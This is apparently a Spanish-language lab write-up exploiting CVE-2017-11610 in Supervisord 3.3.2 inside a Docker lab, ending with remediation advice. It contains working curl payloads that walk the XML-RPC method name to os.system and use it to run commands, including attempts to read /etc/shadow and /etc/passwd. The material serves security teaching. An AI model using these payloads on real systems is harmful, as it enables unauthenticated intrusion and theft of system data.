
Guía paso a paso de explotación para CVE-2017-11610 (Supervisord XML-RPC RCE) con análisis de superficie de ataque, descubrimiento de recorrido de espacios de nombres y técnicas de post-explotación en un entorno de laboratorio Docker.
Comenzando con lo que se está ejecutando en el entorno. Listo todos los contenedores activos:``` docker ps-a

**La víctima expone un único puerto: `9001`**.
El puerto 9001 no es una aplicación web estándar. Consultar la **base de datos de puertos** muestra que este puerto podría estar asociado con **Supervisord** (ETL Service Manager según IANA), proxy Tor, o algún otro servicio interno. Sin embargo, no podemos sacar una conclusión basándonos únicamente en el número de puerto.
⇒ Hago curl directamente para leer la respuesta y también accedo a la interfaz web GUI para recopilar más información```
curl -i http://192.168.3.137:9001/


Análisis de la respuesta:
Server: Medusa/1.12 y el título Supervisor Status→ Confirmado que es Supervisord, no Tor ni ningún otro servicio.
REFRESH, RESTART ALL, STOP ALLSupervisord es un administrador de procesos en Linux. Si port 9001 está expuesto a la red sin contraseña, esta es una configuración peligrosa. Un atacante podría ver servicios, reiniciar/detener procesos y, bajo ciertas configuraciones, explotarlo para ejecutar comandos si tiene privilegios para modificar o controlar los programas gestionados.
Conclusión del análisis: Podemos confirmar que el objetivo está exponiendo la interfaz de administración de Supervisord a la red en el puerto 9001. Este no es un servicio web estándar, sino una interfaz de gestión utilizada para monitorear y controlar procesos. La capacidad de acceder a esta interfaz sin autenticación crea un riesgo de que un atacante pueda ver el estado de los servicios gestionados o interactuar con ellos.
Sin embargo, debemos distinguir entre la interfaz de usuario visible y el mecanismo de control subyacente. Botones como REFRESH, RESTART ALL y STOP ALL no procesan solicitudes de forma independiente en el frontend; en su lugar, deben llamar a una interfaz/backend de Supervisord para obtener el estado o enviar comandos de control de procesos. Por lo tanto, después de confirmar que la interfaz web está expuesta, el siguiente paso del análisis es determinar si la interfaz de control subyacente existe detrás de la interfaz web y si requiere autenticación.
⇒ Reflexión: Es necesario comprobar si la interfaz de control detrás de la interfaz web existe y si requiere autenticación.

Según la documentación de Supervisor, [inet_http_server] es un servidor HTTP que escucha en un socket TCP. Esta interfaz no está habilitada por defecto, solo debe usarse en entornos de confianza, no admite cifrado y no tiene autenticación predeterminada a menos que se configure username/password.
La documentación también indica que el puerto de [inet_http_server] se utiliza para recibir solicitudes HTTP/XML-RPC; supervisorctl utiliza XML-RPC para comunicarse con supervisord a través de este puerto. Esto coincide con nuestra observación en el laboratorio: el contenedor expone 0.0.0.0:9001->9001/tcp, la interfaz web es accesible sin autenticación y la versión mostrada es Supervisor 3.3.2.
Por lo tanto, después de confirmar la interfaz web en el puerto 9001, el siguiente paso es inspeccionar el endpoint XML-RPC /RPC2. Basado en el mecanismo oficial de Supervisord, necesitamos verificar estos objetivos:
/RPC2.supervisor.getState o system.listMethods.Verificar si el endpoint está activo:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

El resultado devuelve `HTTP/1.1 200 OK`, no `401 Unauthorized` ni `403 Forbidden`, lo que demuestra que la solicitud fue aceptada por el servidor sin credenciales. La respuesta está en el formato XML-RPC `<methodResponse>` y contiene `statename=RUNNING` y `statecode=1`, lo que prueba que el endpoint `/RPC2` está activo y que el método `supervisor.getState` se ejecutó exitosamente.
**⇒ Pensando:** La superficie de ataque ya no se limita a la interfaz web, sino que se ha expandido a la API XML-RPC, donde se manejan comandos de control de demonios/procesos. A partir de aquí, la siguiente dirección de análisis es **verificar cómo maneja Supervisor** `methodName` en **XML-RPC**, para determinar si el objetivo actual **exhibe el comportamiento de CVE-2017-11610**, que reside en el mecanismo de despacho/búsqueda de este método. Necesitamos verificar esto para concluir si se trata de **CVE-2017-11610**.
### **Analizando el procesamiento de nombres de métodos en XML-RPC**
En el paso anterior, llamamos exitosamente al método `supervisor.getState` a través del endpoint `/RPC2`. Esto plantea la siguiente pregunta: cuando se recibe un `methodName` basado en cadenas, ¿cómo asigna Supervisord esa cadena a la función Python interna?
En XML-RPC, los métodos típicamente utilizan espacios de nombres, por ejemplo:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
Lógicamente, el servidor recibe la cadena `methodName`, la divide por el punto `.` y busca el objeto/función correspondiente dentro del manejador registrado.
El pseudocódigo se puede entender de la siguiente manera:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
Para métodos estándar como supervisor.getState, este mecanismo funciona normalmente: el servidor recupera el supervisor handler, luego llama a la función getState. Sin embargo, el problema central de CVE-2017-11610 es que este mecanismo de búsqueda no restringe suficientemente los atributos a los que se permite acceder. Si un atacante controla el methodName, puede no solo llamar métodos públicos como getState, sino también adentrarse más en los objetos/módulos internos accesibles desde el supervisor handler.
En otras palabras, el punto . en methodName no solo se usa para invocar métodos válidos, sino que puede abusarse para recorrer atributos de objetos.
Esto establece nuestra ruta de explotación:
supervisor → supervisord → options → warnings → linecache → os → system
El concepto es comenzar desde el supervisor handler, seguir atributos hasta los objetos internos del demonio, y luego aprovechar los módulos de Python preimportados para llegar a os.system. Si se puede llamar a os.system, el atacante puede ejecutar comandos del sistema con los privilegios del proceso supervisord.
Así, la cadena de ataque sigue esta lógica:
/RPC2 acepta llamadas a métodos sin autenticación → inspeccionar cómo XML-RPC despacha methodName → descubrir que methodName puede recorrer atributos de objetos → lleva a llamar a os.system.
Primero, necesito verificar si el servidor realmente permite recorrer atributos internos. Intentaré llamar a un nombre de método que sea más largo de lo habitual. Si el servidor devuelve un error de "método no encontrado", hay un filtro activo; si devuelve un error diferente (o tiene éxito), la travesía está funcionando.
Pensando: Ya sé que supervisor.getState funciona. Si intento supervisor.supervisord—que va una capa más profunda—y el servidor no devuelve un error de método desconocido, significa que efectivamente está usando getattr recursivo sin una lista blanca.
Sabemos que XML-RPC es un protocolo de llamada a procedimiento remoto sobre HTTP, con datos codificados en XML. Cada solicitud consta de solo 3 componentes fijos:```
FUNCTION_NAME VALUE ``` Estructura simple: solo reemplaza `` y ``. Si la función no requiere parámetros, deja `` vacío. Si la función requiere una cadena, envuélvela dentro de `...`. Esto no es conocimiento secreto: leer el RFC de XML-RPC detalla esto.⇒ Aplicación: intenta llamar a un methodName más largo de lo habitual para comprobar el recorrido del espacio de nombres:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

El resultado devuelve un `HTTP 500 Internal Server Error` en lugar del error estándar `unknown method`. Esto indica que el servidor no bloquea el `methodName` a nivel de un espacio de nombres válido, sino que continuó procesando la cadena `supervisor.supervisord.options` durante el envío. En otras palabras, la solicitud recorrió profundamente el mecanismo de búsqueda de atributos; el error ocurrió en un paso posterior cuando el objeto resuelto no era invocable como método. Esto es un claro indicador de que el recorrido del espacio de nombres a través de `methodName` está activo.
### **Encontrando la Ruta hacia la Función de Ejecución de Comandos**
El recorrido funciona. El siguiente paso es **encontrar una cadena de atributos que termine en una función invocable capaz de ejecutar comandos del sistema.** En Python, el objetivo más fácil de verificar es `os.system()`. Sin embargo, **no tenemos un shell en el objetivo** y **no podemos leer directamente los objetos fuente/tiempo de ejecución en el contenedor.** Por lo tanto, debemos **inferir a partir de los mecanismos de importación de Python** y **verificar las dependencias localmente primero.**
La cadena a inspeccionar es:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord está escrito en Python, por lo que objetos internos como `options` son objetos de Python con atributos.
- Si un módulo importa otro módulo mediante `import X`, entonces `X` existirá dentro del espacio de nombres de ese módulo.
- En la biblioteca estándar de Python, el módulo `warnings` importa `linecache` para obtener contexto al mostrar advertencias.
- El módulo `linecache` importa `os` para manipulaciones de rutas/archivos.
- El módulo `os` proporciona la función `system()`, que es invocable y puede ejecutar comandos del shell.
Confirma esta dependencia localmente antes de intentarlo en el objetivo:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Thinking: La cadena de dependencia warnings → linecache → os es una dependencia real en la biblioteca estándar de CPython; y system es de hecho una función invocable en el módulo os. Combinado con la falla de recorrido de espacio de nombres en XML-RPC, si podemos alcanzar supervisord.options.warnings desde el manejador supervisor, podemos continuar recorriendo hasta linecache.os.system para invocar comandos del sistema.
Después de identificar la cadena de recorrido hasta os.system, el siguiente paso es construir la solicitud XML-RPC para llamar a esta función. En Python, os.system() toma un parámetro de cadena que representa el comando de shell a ejecutar y devuelve el código de salida del comando. Esta función no devuelve stdout directamente a la respuesta XML-RPC, por lo que para probar que el comando se ejecutó, debemos redirigir la salida a un archivo.
⇒ Thinking: No hay salida directa en la respuesta, así que escribe los resultados en /tmp. El directorio /tmp normalmente es escribible por todos los usuarios en Linux. Un payload de verificación seguro es:
id > /tmp/rce_proof.txt
Aplicando la plantilla XML-RPC analizada anteriormente, reemplaza <methodName> con la cadena de recorrido hasta os.system y pasa el comando de shell dentro de <string>:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

El valor `<int>0</int>` es el código de salida de `os.system()`, no la salida estándar del comando. Un código de salida de `0` indica que el comando de shell se ejecutó correctamente. Verificamos esto leyendo el archivo dentro del contenedor:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE Confirmado. El comando id se ejecutó dentro del contenedor, bajo los privilegios del usuario nobody (uid=65534).
Punto clave: Se logra RCE, pero los privilegios de ejecución dependen del usuario que ejecuta el proceso supervisord. En este laboratorio, el comando se ejecuta bajo el usuario nobody, lo que significa que el impacto es más limitado que si supervisord se ejecutara como root.
Después de confirmar RCE, vemos que nobody es un usuario de bajos privilegios en Linux. Sin embargo, deberíamos verificar esto en la práctica en lugar de confiar solo en la salida de id. El método de verificación es intentar leer /etc/shadow, ya que este archivo normalmente solo es legible por root y el grupo shadow. Si es legible, el proceso tiene altos privilegios; si está bloqueado, los privilegios están realmente restringidos.
Envía el payload para leer /etc/shadow y redirige tanto stdout como stderr a un archivo:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

La respuesta devuelve `<int>256</int>`, que es el valor de retorno de `os.system()`. En Unix, los códigos de salida están codificados; `256` corresponde al código de salida del comando de shell `1`. Esto indica que el comando se ejecutó pero falló.
Confirmamos la causa del fallo leyendo el archivo de salida dentro del contenedor y verificando los permisos de `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

Los resultados muestran que el archivo de salida registró este error:
cat: /etc/shadow: Permission denied
Los permisos para /etc/shadow son:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowEl archivo /etc/shadow pertenece a root, grupo shadow, y solo es legible por el propietario/grupo. Mientras tanto, nuestro RCE anterior confirmó que el comando se ejecuta bajo el usuario nobody; este usuario no pertenece al grupo shadow, por lo tanto no puede leer este archivo.
⇒ Conclusión: Se ha logrado RCE, pero los privilegios están realmente restringidos al usuario nobody. Esta es una distinción crítica respecto a un servicio que se ejecuta como root: el atacante puede ejecutar comandos, pero no obtiene automáticamente el control total del sistema.
Aunque no podemos leer /etc/shadow, el RCE aún nos permite ejecutar comandos con privilegios de nobody. Por lo tanto, podemos continuar recopilando información que este usuario está autorizado a leer, como la lista de procesos en ejecución y la información de usuarios del sistema.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 en el contenedor se ejecuta bajo el usuario root, pero el proceso supervisord se ejecuta bajo el usuario nobody. Esto explica por qué el RCE tuvo éxito pero carecía del privilegio para leer archivos restringidos a root.
Resultado: ps aux muestra que el PID 1 en el contenedor es /bin/bash /usr/local/bin/docker-entrypoint.sh ejecutándose bajo el usuario root, mientras que el proceso supervisord se ejecuta bajo el usuario nobody.
Esto explica por qué el RCE tuvo éxito pero no tenía permisos para leer archivos solo de root: el comando se ejecuta con los privilegios del proceso supervisord, no del PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

Resultado: /etc/passwd muestra que el sistema contiene principalmente usuarios predeterminados como root, daemon, nobody y _apt; no se detectaron usuarios de servicio adicionales. Esto indica que el entorno del contenedor es mínimo, careciendo de otras cuentas de aplicación para explotar o pivotear en esta etapa.
En este laboratorio, no se pudo establecer una shell inversa. Sin embargo, no debemos concluir simplemente que una red puente de Docker siempre bloquea las shells inversas, ya que los contenedores Docker normalmente conservan capacidades de salida a través de NAT. La causa puede deberse al enrutamiento, firewalls, listeners, interfaces o la configuración de red del entorno de laboratorio.
El punto crucial es: la shell inversa fallida no altera la conclusión principal. Se ha confirmado la RCE con el payload id, código de salida de respuesta 0, y el archivo de salida en /tmp. El atacante puede ejecutar comandos arbitrarios dentro del contenedor con los privilegios del usuario nobody.
Prioridad Urgente
Actualizar Supervisord a la versión parcheada
Actualizar Supervisor a la versión >= 3.3.3. La versión parcheada elimina por completo el mecanismo de búsqueda recursiva de espacios de nombres en XML-RPC, que era la causa raíz de CVE-2017-11610.
No exponer [inet_http_server] a la red a menos que sea necesario
Si la interfaz web o la administración remota no son necesarias, deshabilitar completamente [inet_http_server]. Esta es una interfaz de gestión y no debería ser accesible ampliamente a través de la red.
Restringir la dirección de enlace
Si aún necesita la interfaz web habilitada, enlace solo a localhost en lugar de 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
Prioridad Alta
Habilitar autenticación para [inet_http_server]
Si debe exponer esta interfaz para administración remota, configure un nombre de usuario/contraseña seguros:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
Si debe estar enlazada a la red, no confíe únicamente en una contraseña; colóquela detrás de una VPN/proxy inverso o restrinja el acceso por IP.
Restringir el acceso mediante un firewall
Solo permita que IPs administrativas accedan al puerto 9001, por ejemplo mediante un firewall/grupo de seguridad. No exponga este puerto a Internet público ni a toda la red interna.
Ejecutar supervisord con un usuario de bajos privilegios
Este laboratorio se ejecuta bajo el usuario nobody, manteniendo el impacto limitado. En entornos reales, evite ejecutar supervisord como root a menos que sea absolutamente necesario.
| Criterio | Evaluación | Detalles |
|---|
| Puntuación CVSS | 9.8 (Crítico) | Según CVE/NVD, la vulnerabilidad es una RCE no autenticada en Supervisor <= 3.3.2 |
| Autenticación | No requerida | El endpoint /RPC2 procesa solicitudes XML-RPC sin requerir nombre de usuario/contraseña |
| Complejidad | Baja | Explotable mediante solicitudes XML-RPC manuales, sin necesidad de Metasploit |
| Privilegios Obtenidos | nobody | La RCE se ejecuta con los privilegios del proceso supervisord; en este laboratorio, restringido al usuario nobody |
| Impacto | Alto | Capacidad de ejecutar comandos, escribir archivos en directorios escribibles como /tmp y recopilar información del sistema |
| Limitaciones | No puede leer archivos solo de root | /etc/shadow devolvió Permiso Denegado, demostrando que los privilegios no son de root |
| Pivoting en Red Interna | Factible | El usuario nobody aún puede intentar conectarse a otros servicios/contenedores si las políticas de red lo permiten |